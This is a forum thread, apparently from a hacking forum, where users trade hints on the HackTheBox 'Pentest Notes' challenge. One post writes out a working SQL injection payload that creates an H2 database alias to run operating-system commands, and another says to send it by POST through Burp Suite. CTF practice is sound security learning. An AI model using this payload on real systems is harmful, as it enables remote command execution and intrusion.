Temporary Advertisements:
Ad
Ad
Ad
HTB Pentest Notes - Challenge
by StingEm - Saturday October 26, 2024 at 09:53 PM
#1
Has anyone started on Pentest Notes Challenge?  I am about to start on it shortly - anyone want to work together for a solve or give guidance? 
If so join along here.
Reply
#2
I think LFI is the way for this box but I could be wrong and it could just be CLI Injection

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Reply
#3
So - I went down a few Rabbit Holes and then been busy at work - I really have not gotten far on this yet. Has anyone been working on it - any incites?
Reply
#4
(Oct 29, 2024, 05:00 PM)G_Sibley Wrote: So - I went down a few Rabbit Holes and then been busy at work - I really have not gotten far on this yet. Has anyone been working on it - any incites?

First find SQL Injection. It is the right path. Did you already find it?
Reply
#5
its way easy too solve, just use java runtime execution through a SQL alias to list files.

Hidden Content
You must register or login to view this content.

you can thank me Wink
Reply
#6
thank you bro for sharing

(Oct 29, 2024, 07:32 PM)awwliveyet Wrote: its way easy too solve, just use java runtime execution through a SQL alias to list files.



you can thank me Wink

execve doesn't exists in H2 database
Reply
#7
(Oct 29, 2024, 09:44 PM)Art10n Wrote: thank you bro for sharing

(Oct 29, 2024, 07:32 PM)awwliveyet Wrote: its way easy too solve, just use java runtime execution through a SQL alias to list files.



you can thank me Wink

execve doesn't exists in H2 database


First you have to create the alias but you cannot use $$

SQL Injection' or 1=0; CREATE ALIAS EXECVE AS '
String execve(String cmd) throws java.io.IOException {
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
}';-- -
Reply
#8
Its giving 400 error when try to create and execute.

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Compromised - Malware Logs
Reply
#9
Use it in the POST and with Burp Suite
Reply
#10
(Oct 30, 2024, 09:45 AM)Art10n Wrote: Use it in the POST and with Burp Suite

thank you mate!!!
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Hack the box new cert like the OSEP saynotobug 0 42 1 hour ago
Last Post: saynotobug
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 82 10,903 9 hours ago
Last Post: imken
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 164 34,442 9 hours ago
Last Post: imken
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 456 121,219 Today, 08:42 AM
Last Post: flowerer99
  HTB - ALL Challenges you Stuck in osamy7593 5 1,213 Yesterday, 05:29 PM
Last Post: axiom4

Forum Jump:


 Users browsing this forum: 1 Guest(s)